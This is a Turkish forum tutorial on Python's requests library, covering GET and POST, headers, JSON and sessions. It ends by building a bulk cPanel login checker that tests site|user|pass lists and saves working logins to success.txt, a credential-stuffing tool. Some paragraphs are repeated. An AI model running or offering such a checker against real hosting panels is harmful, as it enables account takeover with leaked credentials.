![p0qbke2.png](https://i.hizliresim.com/p0qbke2.png)
Herkese selamlar, ben Ben Suppressor. Bugün bir konuyu revize edeceğiz. Konumuz, Python'da requests kütüphanesi kullanımı. Hazırsanız konuya geçelim.
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
Python requests modülü nedir?
Kısaca tanımlamak gerekirse, bize Python ile HTTP istekleri göndermemize olanak sağlayan, kullanıcı dostu ve kullanımı kolay, ama yaptığı işin büyük olduğu bir kütüphanedir. Python kullananlar için geliştirilen bir HTTP istek kütüphanesidir. "HTTP FOR HUMANS" sloganı ile de adını global dünyaya kazımıştır.
Size göstereceğim uygulamalarda httpbin.org sitesini kullanacağım. Bu adres, HTTP isteği attığımızda isteğin yanıtını bize gösteren bir web uygulamasıdır.
Bazı örneklerde ise basit bir exploit ve cPanel'e login olmak, dosya yüklemek gibi şeyleri göstererek requests kütüphanesini anlamanızı sağlamaya çalışacağım.
Requests'in ne olduğunu öğrendik. Şimdi, tanımlanması ve kullanabileceğimiz temel fonksiyonlarına bir göz atalım.
requests kütüphanesi, HTTP isteklerini daha yönetilebilir ve anlaşılır hale getirmek için çeşitli ek özellikler de sunar, örneğin:
Size göstereceğim uygulamalarda httpbin.org sitesini kullanacağım. Bu adres, HTTP isteği attığımızda isteğin yanıtını bize gösteren bir web uygulamasıdır.
Bazı örneklerde ise basit bir exploit ve cPanel'e login olmak, dosya yüklemek gibi şeyleri göstererek requests kütüphanesini anlamanızı sağlamaya çalışacağım.
Requests'in ne olduğunu öğrendik. Şimdi, tanımlanması ve kullanabileceğimiz temel fonksiyonlarına bir göz atalım.
requests kütüphanesi, HTTP isteklerini daha yönetilebilir ve anlaşılır hale getirmek için çeşitli ek özellikler de sunar, örneğin:
- Parametreler eklemek (params argümanı ile)
- Header eklemek (headers argümanı ile)
- Kimlik doğrulama (auth argümanı ile)
- JSON verisi göndermek (json argümanı ile)
-
![ctf0sk9.png](https://i.hizliresim.com/ctf0sk9.png)
HTTP methodları
-GET
-POST
-PUT
-DELETE
Get
HTTP GET istekleri, genelde bir sunucudan istenilen kaynağı almak için kullanılan bir yöntemdir.
Post
HTTP POST istekleri, GET isteğine nazaran genelde veri almak için değil, veri göndermek için kullanılır.
PUT
PUT isteği, sunucudaki mevcut bir kaynağı güncellemek veya kaynağı tamamen değiştirmek için kullanılır.
Delete
HTTP DELETE istekleri, istediğimiz kaynaktaki istediğimiz veriyi silmeye yarar.
Syntax :
Syntax tarafında kısaca değinmeme gerekrise ilk olarak alt tarafta bahsettiğim bazı özellikler ile etkişeime geçmek için bir değişken tanımlıyoruz genelde r veya response kullanılır ama ne yazmak isterseniz onuda kullanabilir siniz ardından requests yazıp istediğimiz http method unu yazıyoruz
GET
-POST
-PUT
-DELETE
Get
HTTP GET istekleri, genelde bir sunucudan istenilen kaynağı almak için kullanılan bir yöntemdir.
Post
HTTP POST istekleri, GET isteğine nazaran genelde veri almak için değil, veri göndermek için kullanılır.
PUT
PUT isteği, sunucudaki mevcut bir kaynağı güncellemek veya kaynağı tamamen değiştirmek için kullanılır.
Delete
HTTP DELETE istekleri, istediğimiz kaynaktaki istediğimiz veriyi silmeye yarar.
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
Syntax :
Syntax tarafında kısaca değinmeme gerekrise ilk olarak alt tarafta bahsettiğim bazı özellikler ile etkişeime geçmek için bir değişken tanımlıyoruz genelde r veya response kullanılır ama ne yazmak isterseniz onuda kullanabilir siniz ardından requests yazıp istediğimiz http method unu yazıyoruz
Kod:
değişken ismi = requests.HTTP_METHOD
GET
Python:
import requests
response = requests.get(url="https://example.com/")
Attığımız istekten alabileceğmiz bazı veriler
print(response.status_code) # HTTP durum kodunu yazdırır (örneğin, 200, 404)
print(response.headers) # Sunucudan Dönen response un başlıklarını yazdırır
print(response.text) # response un içeriğini metin olarak yazdırır (html css javascript)
print(response.json()) # Yanıtın içeriğini JSON olarak yazdırır (eğer JSON formatındaysa)
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
Status Code
Attığımız isteğin başarılı olup olmadığını, yönlendirme yapıp yapmadığını gibi bilgileri bize sayısal olarak bir değer ile gösterir.
![HTTP_Status_Codes.png](https://i0.wp.com/javaconceptoftheday.com/wp-content/uploads/2022/10/HTTP_Status_Codes.png?ssl=1)
TEXT
Attığımız HTTP isteğinin yanıtını bize metinsel şekilde sunar.
HEADER
Attığımız HTTP isteğinin başlıklarını bize gösterir.
JSON
Attığımız isteği JSON verilerini bize gösterir (veri JSON formatında ise).
![ctf0sk9.png](https://i.hizliresim.com/ctf0sk9.png)
STATUS CODE
Requests kütüphanesini programa ekledik. Ardından response diye bir değişken tanımladık ve get metodunu kullanarak istediğimiz siteye bir adet HTTP GET isteği atıyoruz. Ardından ekrana status code'u yazdırıyoruz ve giden isteğin status code'u 200 ise ekrana 'İstek başarılı' yazdırıyoruz.
Python:
import requests
def main():
response = requests.get(url="http://httpbin.org/get")
print(response.status_code)
if response.status_code ==200:
print("İstak Başarılı")
main()
Response
Rich (BB code):
200
İstak Başarılı
![9d40krn.png](https://i.hizliresim.com/9d40krn.png)
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
TEXT
Yine aynı işlemleri yapıyoruz: Kütüphaneyi programa ekliyoruz, response diye bir değişken tanımlıyoruz ve bir HTTP GET isteği atıyoruz. Ardından ekrana yanıtın metinsel halini yazdırıyoruz ve istek başarılı ise (200), ekrana 'İstek başarılı' yazdırıyoruz. Ben HTTPBin sitesine istek attığım için text kısmında herhangi bir HTML, CSS veya JavaScript kodu gözükmedi. O yüzden farklı bir siteye istek atarak örneklendireceğim.
![dhteb5j.png](https://i.hizliresim.com/dhteb5j.png)
Yine aynı şekilde, kütüphane tanımlamaları, değişkenin oluşturulması ve isteğin atılması ardından sunucudan gelen yanıt 200 ise ekrana `response'un text'ini yazdırıyoruz.
Python:
import requests
def main():
response = requests.get(url="https://thehackernews.com/")
if response.status_code ==200:
print(response.text)
main()
Response
HTML:
<!DOCTYPE html>
<html dir='ltr' lang='en'>
<head>
<meta charset='utf-8'/>
<link href='/humans.txt' rel='author'/>
<meta content='IE=9; IE=8; IE=7; IE=EDGE; chrome=1' http-equiv='X-UA-Compatible'/>
<meta content='index, follow, noarchive, max-image-preview:large, max-snippet:-1, max-video-preview:-1' name='robots'/>
<meta content='width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=6.0' name='viewport'/>
<meta content='yes' name='mobile-web-app-capable'/>
<meta content='yes' name='apple-mobile-web-app-capable'/>
<meta content='#3732b3' name='theme-color'/>
<meta content='#3732b3' name='msapplication-navbutton-color'/>
<meta content='#3732b3' name='apple-mobile-web-app-status-bar-style'/>
<style type="text/css">@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/greek-ext/400/normal.woff2);unicode-range:U+1F00-1FFF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/vietnamese/400/normal.woff2);unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/greek/400/normal.woff2);unicode-range:U+0370-03FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/latin/400/normal.woff2);unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/latin-ext/400/normal.woff2);unicode-range:U+0100-02AF,U+0304,U+0308,U+0329,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic-ext/400/normal.woff2);unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:400;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic/400/normal.woff2);unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/greek-ext/500/normal.woff2);unicode-range:U+1F00-1FFF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/latin/500/normal.woff2);unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic/500/normal.woff2);unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/greek/500/normal.woff2);unicode-range:U+0370-03FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic-ext/500/normal.woff2);unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/latin-ext/500/normal.woff2);unicode-range:U+0100-02AF,U+0304,U+0308,U+0329,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:500;src:url(/cf-fonts/s/roboto/5.0.11/vietnamese/500/normal.woff2);unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/latin/700/normal.woff2);unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic/700/normal.woff2);unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/latin-ext/700/normal.woff2);unicode-range:U+0100-02AF,U+0304,U+0308,U+0329,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/vietnamese/700/normal.woff2);unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic-ext/700/normal.woff2);unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/greek-ext/700/normal.woff2);unicode-range:U+1F00-1FFF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:700;src:url(/cf-fonts/s/roboto/5.0.11/greek/700/normal.woff2);unicode-range:U+0370-03FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/latin/900/normal.woff2);unicode-range:U+0000-00FF,U+0131,U+0152-0153,U+02BB-02BC,U+02C6,U+02DA,U+02DC,U+0304,U+0308,U+0329,U+2000-206F,U+2074,U+20AC,U+2122,U+2191,U+2193,U+2212,U+2215,U+FEFF,U+FFFD;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic/900/normal.woff2);unicode-range:U+0301,U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/cyrillic-ext/900/normal.woff2);unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/greek/900/normal.woff2);unicode-range:U+0370-03FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/latin-ext/900/normal.woff2);unicode-range:U+0100-02AF,U+0304,U+0308,U+0329,U+1E00-1E9F,U+1EF2-1EFF,U+2020,U+20A0-20AB,U+20AD-20CF,U+2113,U+2C60-2C7F,U+A720-A7FF;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/vietnamese/900/normal.woff2);unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB;font-display:swap;}@font-face {font-family:Roboto;font-style:normal;font-weight:900;src:url(/cf-fonts/s/roboto/5.0.11/greek-ext/900/normal.woff2);unicode-range:U+1F00-1FFF;font-display:swap;}</style>
<link href='/manifest.json' rel='manifest'/>
<meta content='280117418781535' property='fb:app_id'/>
<meta content='The Hacker News' property='og:site_name'/>
<link href='https://thehackernews.com/downloads/favicon.ico' rel='shortcut icon' type='image/x-icon'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s32-rw-e365/thn.jpg' rel='icon' sizes='32x32' type='image/jpeg'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s64-rw-e365/thn.jpg' rel='icon' sizes='64x64' type='image/jpeg'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s96-rw-e365/thn.jpg' rel='icon' sizes='96x96' type='image/jpeg'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s196-rw-e365/thn.jpg' rel='icon' sizes='196x196' type='image/jpeg'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s76-rw-e365/thn.jpg' rel='apple-touch-icon' sizes='76x76'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s120-rw-e365/thn.jpg' rel='apple-touch-icon' sizes='120x120'/>
<link href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQQyjwPYjJP0wddSEB8Dlpr3dlnQUs52-WmlrZfqJoBPeOvv2Zoqlq-FhEAz_Xeprj_mtrI1MGCW1JS840JUjVEK6VoNe6zCNNTw_7YmyvNmf3E5pprZ3zqP8lszq74Wt97SvbJo5yeuyep0U6-nGs0vdarg4_WUrc5r6L0ML0xE-BsPipJd2-1PMHTvO1/s152-rw-e365/thn.jpg' rel='apple-touch-icon' sizes='152x152'/>
<meta content='en_US' property='og:locale'/> <title>The Hacker News | #1 Trusted Cybersecurity News Site</title>
<meta content='The Hacker News | #1 Trusted Cybersecurity News Site' name='twitter:title' property='og:title'/>
<meta content='The Hacker News is the most trusted and popular cybersecurity publication for information security professionals seeking breaking news, actionable insights and analysis.' name='description'/>
<meta content='The Hacker News is the most trusted and popular cybersecurity publication for information security professionals seeking breaking news, actionable insights and analysis.' property='og:description'/>
<meta content='The Hacker News is the most trusted and popular cybersecurity publication for information security professionals seeking breaking news, actionable insights and analysis.' name='twitter:description'/>
<meta content='website' property='og:type'/>
<meta content='https://thehackernews.com/images/-AaptImXE5Y4/WzjvqBS8HtI/AAAAAAAAxSs/BcCIwpWJszILkuEbDfKZhxQJwOAD7qV6ACLcBGAs/s728-rw-e365/the-hacker-news.jpg' name='twitter:image' property='og:image'/>
<link href="https://thehackernews.com/" rel='canonical' />
<link href="https://thehackernews.com/?m=1" media='only screen and (max-width: 640px)' rel='alternate' /><meta content='https://thehackernews.com/' property='og:url'/><meta content='@TheHackersNews' name='twitter:creator'/><meta content='@TheHackersNews' name='twitter:site'/><meta content='thehackernews.com' name='twitter:domain'/><meta content='summary_large_image' name='twitter:card'/><meta content='1251386282' property='fb:admins'/><meta content='172819872731894' property='fb:pages'/><link href='https://feeds.feedburner.com/TheHackersNews' rel='alternate' title='The Hacker News RSS Feeds' type='application/rss+xml'/><link href='https://thehackernews.com/feeds/posts/default' rel='alternate' title='The Hacker News RSS Feeds' type='application/atom+xml'/>
<meta content='cyber security news, cyber news, cyber security news today, cyber security updates, cyber updates, hacker news, hacking news, software vulnerability, cyber attacks, data breach, ransomware malware, how to hack, network security, information security, the hacker news, computer security' name='keywords'/> <style>
[other codes]...
![2pnk6hl.png](https://i.hizliresim.com/2pnk6hl.png)
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
Header
Headerıların ne olduğunu anlatmayacağım ama bu konumu okuyarak ne olduğunu ve bir zafiyeti öğrenebilrisniz.
Python Software Security ~ Host Header İnjection #DevSecOps ~ Arge
Selamlar, ben Suppressor. Bugün Flask uygulamalarında Host header injection zafiyetini ele alacağım. Konu Başlıkları: HTTP Headers (Başlık) Zafiyetin Kaynaklanma Sebebi Zafiyetin Flask Kodu İle Gösterilmesi Zafiyetin Giderilmesi PoC HTTP Headers (Başlık) HTTP başlıkları, hem HTTP...
![www.turkhackteam.org](https://www.turkhackteam.org/styles/v1/tht/favicon.png)
Python:
import requests
def main():
response = requests.get(url="http://httpbin.org/get")
if response.status_code ==200:
print(response.headers)
main()
Response
Rich (BB code):
{'Date': 'Sat, 22 Jun 2024 13:48:21 GMT',
'Content-Type': 'application/json',
'Content-Length': '304',
'Connection': 'keep-alive',
'Server': 'gunicorn/19.9.0',
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Credentials': 'true'}
![c1yuli7.png](https://i.hizliresim.com/c1yuli7.png)
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
JSON
JSON (JavaScript Object Notation), anahtar-değer şeklinde verileri depolamamıza ve iletmemize yarayan, insanlar tarafından okunabilen bir dosya formatıdır.
JSON'ın temel özellikleri:
Basit ve Okunabilir: JSON formatı, düz metin kullanarak veri yapılarını temsil eder. Bu, hem insanlar hem de bilgisayarlar tarafından kolayca okunabilir ve yazılabilir.
JSON'ın temel özellikleri:
Basit ve Okunabilir: JSON formatı, düz metin kullanarak veri yapılarını temsil eder. Bu, hem insanlar hem de bilgisayarlar tarafından kolayca okunabilir ve yazılabilir.
Veri Yapıları:JSON iki temel veri yapısını kullanır:
- Anahtar-değer (key-value)
- Diziler (arrays)
Anahtar-değer (key-value)
JSON:
{
"isim": "Kruvazör",
"yaş": 25,
"şehir": "Ankara"
}
- Diziler (arrays)
-
- JSON:
[ "teux", "Bunjo", "Suppressor" ]
Python:
import requests
def main():
r = requests.get(url="https://gist.githubusercontent.com/diondree/b2e30aabf3ffc91d5f541c959faeffae/raw/858f07bd28f626eaf7ec2f403afe13916c12b8eb/mock-data-1000.json")
if r.status_code == 200:
print(r.json())
main()
Response
POST
Yukarıda da bahsettiğim gibi, yine POST requests ile text, JSON, header, cookie vb. gibi etkileşimlerde bulunabilirsiniz. POST requests tarafında:
Sessions kavramı: Python requests kütüphanesinde Session fonksyionu, birden fazla request'in istediğimiz bilgiler ile (örneğin, cookie'ler, header'lar) yapılmasını sağlar.
Rich (BB code):
[{'id': 1, 'first_name': 'Vanessa', 'last_name': 'Grimsell', 'email': '[email protected]', 'children': {'first_name': 'Elsa', 'last_name': 'Willmetts', 'email': 'Wofenden'}},
{'id': 2, 'first_name': 'Mordecai', 'last_name': 'Lauks', 'email': '[email protected]', 'children': {'first_name': 'Calypso', 'last_name': 'Lobbe', 'email': 'Blanko'}}
![2j1h14d.png](https://i.hizliresim.com/2j1h14d.png)
![ctf0sk9.png](https://i.hizliresim.com/ctf0sk9.png)
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
POST
Yukarıda da bahsettiğim gibi, yine POST requests ile text, JSON, header, cookie vb. gibi etkileşimlerde bulunabilirsiniz. POST requests tarafında:
Sessions kavramı: Python requests kütüphanesinde Session fonksyionu, birden fazla request'in istediğimiz bilgiler ile (örneğin, cookie'ler, header'lar) yapılmasını sağlar.
Python:
import requests
# Session oluşturma
session = requests.Session()
# Session ile login olma
data = {
'user': 'username',
'pass': 'password'
}
login_url = 'http://example.com/endpoint'
session.post(login_url, data=data)
# Session ile başka bir request atma
response = session.get('http://example.com/v2/endpoint')
print(response.text)
![ctf0sk9.png](https://i.hizliresim.com/ctf0sk9.png)
Cpanel requests ile login
DVWA Exploit
Bir request attığımızda bu isteğin response'undaki header, text gibi bazı bilgilere ulaşmıştık. Peki, biz bu verilere gönderebiliyor muyuz derseniz, evet, gönderebiliyoruz. Alt tarafta bir cPanel login örneği göstereceğim. Burada siteye data göndererek login olmaya çalışacağız. Bunun da kısaca syntaxına değinmem gerekirse:
JSON:
data = {
"User-Agent": "User-Agent-Value",
"Key": "Value"
}
İlk olarak cPanel'e giden veriyi ve dönen response'u öğrenmek için Burp Suite'i açıyorum ve siteye istek atıyorum.
İlk olarak Intercept ile isteği yakaladım ve Repeater kısmına isteği yolladım.
![n7uhw5g.png](https://i.hizliresim.com/n7uhw5g.png)
Bizi ilgilendiren kısımları "sarı" renk ile işaretledim. İlk olarak sol kısma bakalım.
İlk baktığımız zaman alt tarafta yazdığım endpoint'e bir POST request'in gittiğini görüyoruz:
Rich (BB code):
/login/?login_only=1
Biraz daha alt tarafa indiğimiz zaman "user" ve "pass" adında 2 adet verinin sunucuya gittiğini görüyoruz:
Rich (BB code):
user=user&pass=pass
Sağ tarafa baktığımız zaman ise sunucunun yanıtının 200 olduğunu görüyoruz.
Sağ tarafta bizi ilgilendiren en önemli kısım, en alt tarafta "Security_token" ve "status" isimli parametreler. Login olmak için "security_token" parametresinin bir önemi yok ama "status" kısmının var.
"Status" kısmı 1 olursa kullanıcı adı ve şifrenin doğru olduğunu belirtiyor, yanlış olursa 0 şeklinde dönüyor. Yani yapı olarak çok basit.
Peki bunu requests'e nasıl uyarlayacağız derseniz, elimizde gerekli endpoint (isteğin atıldığı yer), giden veriler ve dönen response var.
Kısaca Python ile bu isteği tekrar atacağız.
Kod tarafında bunu açıklayarak tekrar göstereceğim.
Kodun tam hali
Python:
import requests
username = "username"
password = "password"
data = {
"user" : username,
"pass" : password
}
r = requests.post(url="domain/login/?login_only=1",data=data)
if r.json()["status"] == 1:
print("İstek Başarılı")
![ctf0sk9.png](https://i.hizliresim.com/ctf0sk9.png)
Kütüphaneyi import ediyoruz
Python:
import requests
Username ve password adında 2 adet değişken oluşturuyoruz ve username ile password'u buraya yazıyoruz (Kullanıcı adı ve şifre).
Python:
username = "username"
password = "password"
Giden datayı oluşturuyoruz. Yukarıda Burp Suite'de giden parametreler "user" ve "pass" şeklindeydi. Bu şekilde giden parametreleri yazıyorum ve kullanıcı adı ile password kısmını bu iki parametreye karşılık gelen yukarıda oluşturduğum değişkenlere tanımlıyorum.
Python:
data = {
"user" : username,
"pass" : password
}
Requests'i atıyoruz
Veriyi JSON formatında görüntüleyerek status kısmının 1 olup olmadığını kontrol ediyoruz. Eğer status kısmı 1 ise ekrana "İstek başarılı" yazdırıyoruz ve artık requests ile cPanel'e giriş yapmış olduk. Tabii bu çok basit bir uygulamaydı; bunu gelişmiş hale getirerek "cPanel Checker" gibi uygulamalar yazabilirsiniz.
Python:
r = requests.post(url="domain/login/?login_only=1",data=data)
Veriyi JSON formatında görüntüleyerek status kısmının 1 olup olmadığını kontrol ediyoruz. Eğer status kısmı 1 ise ekrana "İstek başarılı" yazdırıyoruz ve artık requests ile cPanel'e giriş yapmış olduk. Tabii bu çok basit bir uygulamaydı; bunu gelişmiş hale getirerek "cPanel Checker" gibi uygulamalar yazabilirsiniz.
Python:
if r.json()["status"] == 1:
print("İstek Başarılı")
Basit bir auto cpanel login olma örneği göstereceğim
Python:
import requests
from colorama import Fore, Back, Style, init
import json
init(autoreset=True)
def main():
with open(File_Name, "r") as f:
data = f.readlines()
for logininfo in data:
parts = logininfo.strip().split("|")
if len(parts) != 3:
print(Fore.RED + f"[-] Malformed line skipped: {logininfo.strip()}")
continue
Site, User_Name, Password = parts
login_data = {
"user": User_Name,
"pass": Password
}
r = requests.session()
try:
response = r.post(url=f"{Site}/login/?login_only=1", data=login_data, allow_redirects=True, timeout=15)
response.raise_for_status()
loginresponse = response.json()
except requests.RequestException as e:
print(Fore.RED + f"[-] Error sending request to --> {Site}: {e}")
continue
except json.JSONDecodeError:
print(Fore.RED + f"[-] Error decoding JSON response from --> {Site}")
continue
if loginresponse.get('status') == 1:
print(Fore.GREEN + f"[+] Send request successful --> {Site}")
with open("success.txt", "a", encoding="utf-8") as file:
file.write(f"{Site}|{User_Name}|{Password}\n")
File_Name = input(Fore.BLUE + "Enter a File name: ")
main()
Kısaca ne işe yaradığına değineyim
Gerekli kütüphanelerin import edilmesi
![umBqNLP.png](https://i.imgur.com/umBqNLP.png)
Gerekli kütüphanelerin import edilmesi
Python:
import requests
from colorama import Fore, Back, Style, init
import json
main adında bir fonksiyon tanımlanması:
Dosya isminin File_Name değişkeninden alınarak okunması.
Her bir satırın "|" işaretlerinden ayırılarak üç parçaya bölünmesi (örneğin: site|user|pass şeklinde).
if len(parts) koşuluyla, bu verinin üç parçaya doğru şekilde bölünüp bölünmediğinin kontrol edilmesi.
Dosya isminin File_Name değişkeninden alınarak okunması.
Her bir satırın "|" işaretlerinden ayırılarak üç parçaya bölünmesi (örneğin: site|user|pass şeklinde).
if len(parts) koşuluyla, bu verinin üç parçaya doğru şekilde bölünüp bölünmediğinin kontrol edilmesi.
Python:
def main():
with open(File_Name, "r") as f:
data = f.readlines()
for logininfo in data:
parts = logininfo.strip().split("|")
if len(parts) != 3:
print(Fore.RED + f"[-] Malformed line skipped: {logininfo.strip()}")
continue
Bu satır, parts adlı liste değişkeninden üç değeri (Site, User_Name, Password) sırasıyla çıkarır
Python:
Site, User_Name, Password = parts
Bu kısımda ise gönderilecek veriler login_data isimli bir sözlüğe aktarılıyor.
Python:
login_data = {
"user": User_Name,
"pass": Password
}
